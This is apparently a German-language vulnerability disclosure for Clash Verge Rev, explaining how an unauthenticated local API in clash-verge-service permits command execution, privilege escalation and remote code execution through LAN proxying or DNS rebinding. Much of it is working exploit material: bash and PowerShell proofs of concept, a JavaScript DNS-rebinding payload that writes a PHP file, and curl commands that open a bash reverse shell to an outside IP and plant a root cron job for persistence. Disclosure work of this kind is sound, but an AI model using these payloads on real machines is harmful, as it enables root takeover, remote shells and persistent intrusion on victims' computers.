
Nicht autorisierte API führt zu beliebiger Befehlsausführung und Privilegieneskalation in Clash Verge Rev
Die Schwachstelle geht auf einen nicht authentifizierten API-Endpunkt zurück, der von der Komponente clash-verge-service bereitgestellt wird, die standardmäßig mit erhöhten Privilegien installiert wird. Dieser Fehler ermöglicht es Angreifern, beliebige Befehle auszuführen, was zu zwei primären Angriffsszenarien führt: lokale Privilegieneskalation (LPE) auf dem Host-Rechner und Remote Code Execution (RCE) unter bestimmten Bedingungen.
Der RCE-Vektor kann von Angreifern im selben Local Area Network (LAN) ausgenutzt werden, wenn der Benutzer LAN-Verbindungen aktiviert hat. Noch kritischer ist, dass er aus dem öffentlichen Internet ausgenutzt werden kann, indem die Schwachstelle mit einem DNS-Rebinding-Angriff kombiniert wird. Dadurch können Angreifer die Sicherheitsrichtlinien des Browsers umgehen und Befehle auf dem Rechner eines Opfers ausführen, indem sie es lediglich dazu bringen, eine bösartige Website zu besuchen.
Die erste öffentliche Warnung vor dieser Schwachstelle wurde von @KawaiiZapic auf X ausgesprochen.
Die Komponente clash-verge-service läuft mit hohen Privilegien (root oder SYSTEM) und stellt eine nicht authentifizierte HTTP-API auf 127.0.0.1:33211 bereit. Die Schwachstelle befindet sich im Endpunkt /start_clash, der ein JSON-Payload zur Steuerung des Starts des Mihomo-Kernprozesses akzeptiert.
Der Dienst konstruiert und führt einen Befehl auf der Grundlage mehrerer Parameter aus diesem Payload aus, der einer ähnlichen Struktur wie der folgenden folgt:
<bin_path> -d <config_dir> -f <config_file> >> <log_file>
Entscheidend ist, dass alle vier Parameter – bin_path, config_dir, config_file und log_file – vollständig vom Angreifer kontrollierbar sind. Obwohl Rust einen inhärenten Schutz gegen klassische Befehlsinjektion (z. B. durch Verwendung von ; oder | zur Verkettung von Befehlen) bietet, ermöglicht die Kontrolle des Angreifers über die gesamte Befehlsstruktur einen zweistufigen Angriff, um beliebige Codeausführung zu erreichen.
/start_clash-Schnittstelle ist keine Authentifizierung implementiert.clash-verge-service/src/service/mod.rs
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
.and(warp::path("start_clash"))
.and(warp::body::json())
.map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
api_get_version
.or(api_start_clash)
.or(api_stop_clash)
.or(api_stop_service)
.or(api_get_clash)
.or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
start_clash() ruft start_mihomo() auf, und start_mihomo() ruft die Funktion process::spawn_process(bin_path, &args, log) auf und übergibt bin_path. spawn_process() ruft std::Command::new(command) auf, um den Befehl auszuführen.clash-verge-service/src/service/core.rs
let pid = process::spawn_process(bin_path, &args, log)?;
clash-verge-service/src/service/process.rs
let child = Command::new(command)
.args(args)
.stdout(log)
.stderr(Stdio::null())
.spawn()?;
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn
chmod +x /home/user/pwn
curl -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/home/user/pwn",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'

sudo cat /root/pwned


pwn.bat:
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt
test.ps1:
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
bin_path = "C:\Users\xxx\Desktop\pwn.bat"
config_dir = "C:\Windows\Temp"
config_file = "NUL"
log_file = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json
Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

Die Schwachstelle kann in zwei Szenarien zu RCE eskaliert werden.
Wenn ein Benutzer die Option "Allow LAN" (局域网连接) im Clash-Verge-Rev-Client aktiviert, wird der Proxyserver der Anwendung für alle Geräte im selben lokalen Netzwerk zugänglich. Ein Angreifer im selben LAN kann dies ausnutzen, indem er seine bösartige Anfrage über den exponierten Proxy des Opfers leitet.
curl --proxy http://192.168.108.129:7897 \
-XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{
"bin_path":"/path/to/malicious/script",
"config_dir":"/tmp",
"config_file":"/dev/null",
"log_file":"/tmp/x"
}'
Ein fortgeschrittenerer Angriff kann aus dem Internet durchgeführt werden, ohne dass ein LAN-Zugriff erforderlich ist. Die Angriffskette nutzt DNS-Rebinding in Kombination mit einem spezifischen Browserverhalten, das als "0.0.0.0-day"-Exploit bekannt ist.
Der Schlüssel zu diesem Angriff liegt darin, dass Firefox und bestimmte Versionen von Chromium die IP-Adresse 0.0.0.0 als Alias für 127.0.0.1 behandeln. Dies ermöglicht es einem Angreifer, moderne Browser-Sicherheitsfunktionen wie die Same-Origin-Policy (SOP) und Private Network Access (PNA) zu umgehen.
Der Angriffsablauf ist wie folgt:
attacker.com).attacker.com zunächst in seine echte öffentliche IP-Adresse auf. Die bösartige Seite wird im Browser des Opfers geladen.attacker.com mit einer sehr kurzen TTL auf 0.0.0.0.attacker.com erneut aufgelöst und erhält nun 0.0.0.0.127.0.0.1 auf dem Rechner des Opfers gesendet.Da der Ursprung der Anfrage weiterhin attacker.com ist, umgeht das Skript erfolgreich die Sicherheitsbeschränkungen und kommuniziert direkt mit der anfälligen clash-verge-service-API auf 127.0.0.1:33211, wodurch Remote Code Execution erreicht wird.
/**
* Clash-Verge-Rev payload
*/
const ClashVergeTrueLog = () => {
const BODY = `{
"bin_path": "/bin/true",
"config_dir": "<?php phpinfo();?>",
"config_file": "/dev/null",
"log_file": "/var/www/html/exp.php"
}`;
function attack() {
fetch("/start_clash", {
method: "POST",
headers: { 'Content-Type': 'application/json' },
body: BODY
}).then(() => console.log("[Clash-True] sent"));
}
async function isService(headers,cookie,body){
try {
const r = await fetch("/version", {method:"GET"});
const t = await r.text();
return t.includes("Clash");
} catch { return false; }
}
return {attack, isService};
};
Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();
Ersetzen Sie den PHP-Probe durch eine beliebige Skriptsprache, die Begrenzungsmarkierungen unterstützt. Wenn Sie eine Root-Shell erhalten möchten, lesen Sie den nächsten Abschnitt und ändern Sie das Payload.
./singularity-server --HTTPServerPort 33211https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

Hinweis: Wenn Sie Content-Type auf application/json festlegen, setzen Sie nicht no-cors. First then second ist ein langsamerer, aber stabilerer DNS-Rebinding-Modus. Sie können auch multiple answers wählen, dies kann jedoch von einigen öffentlichen DNS-Servern abgeschwächt werden, sodass der Angriff fehlschlägt.
MacOS und einige Linux-Systeme (z. B. Kali) haben zsh installiert, womit Skripte mit -d und -f ausgeführt werden können.
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H "Content-Type: application/json" \
-d @- << 'EOF'
{
"bin_path": "/bin/echo",
"config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
"config_file":"/dev/null",
"log_file": "/tmp/rce_file"
}
EOF
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
-H 'Content-Type: application/json' \
-d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'
In älteren Versionen von Rust unter Windows existiert eine Befehlsinjektions-Schwachstelle, CVE-2024-24576. Folglich können ältere Builds von Clash Verge Rev, die mit einer anfälligen Rust-Toolchain kompiliert wurden, anfällig für einen direkteren und einfacheren Reverse-Shell-Exploit sein. Über diese spezifische Rust-Schwachstelle hinaus könnte das Kernproblem der beliebigen Prozessausführung auch mit verschiedenen LOLBAS als alternativer Vektor zur Erzielung einer Reverse Shell kombiniert werden.
Nachdem das Log geleert wurde, wird die Ausgabe des Befehls nach der Zeile "Spawning process..." angehängt. Wenn bin_path direkt auf ein Skript (z. B. evil.sh) gesetzt wird, schlägt dies fehl. Dies liegt daran, dass das zugrunde liegende Betriebssystem ohne Shebang (#!/bin/bash) nicht bestimmen kann, welcher Interpreter verwendet werden soll. Der Versuch, es explizit über bash evil.sh aufzurufen, würde ebenfalls fehlschlagen, da das vom Dienst übergebene -d-Argument von bash selbst als ungültige Option interpretiert würde.
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
log.flush()?;
let child = Command::new(command)
.args(args)
.stdout(Stdio::from(log))
.stderr(Stdio::null())
.spawn()?;
Dank an @Esonhugh für den Hinweis, dass zsh unter diesen Bedingungen erfolgreich zur Ausführung von Befehlen verwendet werden kann.
Aktualisieren Sie auf die neueste Version.